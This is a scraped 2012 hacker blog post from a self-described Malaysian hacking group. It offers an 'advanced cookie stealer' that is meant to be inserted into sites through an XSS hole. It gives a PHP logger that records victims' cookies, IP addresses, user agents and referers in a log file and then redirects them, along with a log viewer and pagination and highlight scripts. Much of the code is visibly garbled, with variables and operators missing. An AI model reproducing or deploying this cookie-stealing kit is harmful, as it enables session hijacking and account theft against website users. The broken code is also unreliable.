:: DARKJIWA.BLOGSPOT.COM ::
The Tormented Kingdom Of Webnet

WE ARE MALAYSIAN HACKERS.NOTHING IS SECURE WHEN WE TOGETHER.
[+] Post Title :

Advanced cookie stealer with pagination


[+] Date : 28 February 2012
[+] Author : darkjiwa
[+] Link : https://darkjiwa.blogspot.com/2012/02/advanced-cookie-stealer-with-pagination.html
[+] Type :
I've worked lately on an cookie logger that makes it much easier browsing cookies and the way it logs it :) 

Image :
[Image: picrh.png]

Installation steps :

1 ) Logger
( logger.php )


PHP Code:
$cookie $HTTP_GET_VARS["cookie"];$date date ("j F Y h:i:s A");$ip $_SERVER['REMOTE_ADDR'];$agent $_SERVER['HTTP_USER_AGENT'];$referer $_SERVER['HTTP_REFERER'];$file fopen('logs.html''a');fwrite($file"\n \n Cookies : $cookie
\n Date :  
$date
\n  IP :  
$ip
\n\n Referer : 
$referer
\n Agent :  
$agent
\n


\n\n"
);fclose($file);header'Location: http://www.redirectURL.com) ;?>

2 ) JS logger 
( logger.js )
This to insert it in your XSS directly through

Quote:


  

            body
            {
 overflow:visible;
            }
    .pg-normal {
    color: black;
    font-weight: normal;
    text-decoration: none;
    cursor: pointer;
    }
    .pg-selected {
    color: black;
    font-weight: bold;
    text-decoration: underline;
    cursor: pointer;
    }
 

  
   

  



  
  
   
   
   
   

include 'logs.html'?>

   

    

   
 
[*]page.js [for pagination ]


PHP Code:
function Pager(tableNameitemsPerPage) {
    
this.tableName tableName;
    
this.itemsPerPage itemsPerPage;
    
this.currentPage 1;
    
this.pages 0;
    
this.inited false;

    
this.showRecords = function(fromto) {
  var 
rows document.getElementById(tableName).rows;
  
// i starts from 1 to skip table header row
  
for (var 1rows.lengthi++) {
    if (
from || to)
    
rows[i].style.display 'none';
    else
    
rows[i].style.display '';
  }
    }

    
this.showPage = function(pageNumber) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }

  var 
oldPageAnchor document.getElementById('pg'+this.currentPage);
  
oldPageAnchor.className 'pg-normal';

  
this.currentPage pageNumber;
  var 
newPageAnchor document.getElementById('pg'+this.currentPage);
  
newPageAnchor.className 'pg-selected';

  var 
from = (pageNumber 1) * itemsPerPage 1;
  var 
to from itemsPerPage 1;
  
this.showRecords(fromto);
    }

    
this.prev = function() {
  if (
this.currentPage 1)
    
this.showPage(this.currentPage 1);
    }

    
this.next = function() {
  if (
this.currentPage this.pages) {
    
this.showPage(this.currentPage 1);
  }
    } 

    
this.init = function() {
  var 
rows document.getElementById(tableName).rows;
  var 
records = (rows.length 1);
  
this.pages Math.ceil(records itemsPerPage);
  
this.inited true;
    }

    
this.showPageNav = function(pagerNamepositionId) {
  if (! 
this.inited) {
  
alert("not inited");
  return;
  }
  var 
element document.getElementById(positionId);

  var 
pagerHtml 'pagerName '.prev();" class="pg-normal"> &#171 Prev  | ';
  for (var 
page 1page <= this.pagespage++)
    
pagerHtml += 'page '" class="pg-normal" onclick="' pagerName '.showPage(' page ');">' page ' | ';
  
pagerHtml += '+pagerName+'.next();" class="pg-normal"> Next »'

  
element.innerHTML pagerHtml;
    }

[*]highlight.js [ optional ]
This to highlight specific words as its written at the top of logs.php page


PHP Code:
function doHighlight(bodyTextsearchTermhighlightStartTaghighlightEndTag)
{
  
// the highlightStartTag and highlightEndTag parameters are optional
  
if ((!highlightStartTag) || (!highlightEndTag)) {
    
highlightStartTag "";
    
highlightEndTag "
"
;
  }
  var 
newText "";
  var 
= -1;
  var 
lcSearchTerm searchTerm.toLowerCase();
  var 
lcBodyText bodyText.toLowerCase();

  while (
bodyText.length 0) {
    
lcBodyText.indexOf(lcSearchTermi+1);
    if (
0) {
  
newText += bodyText;
  
bodyText "";
    } else {
  
// skip anything inside an HTML tag
  
if (bodyText.lastIndexOf(">"i) >= bodyText.lastIndexOf("<"i)) {
  
// skip anything inside a 

0 comments:

Post a Comment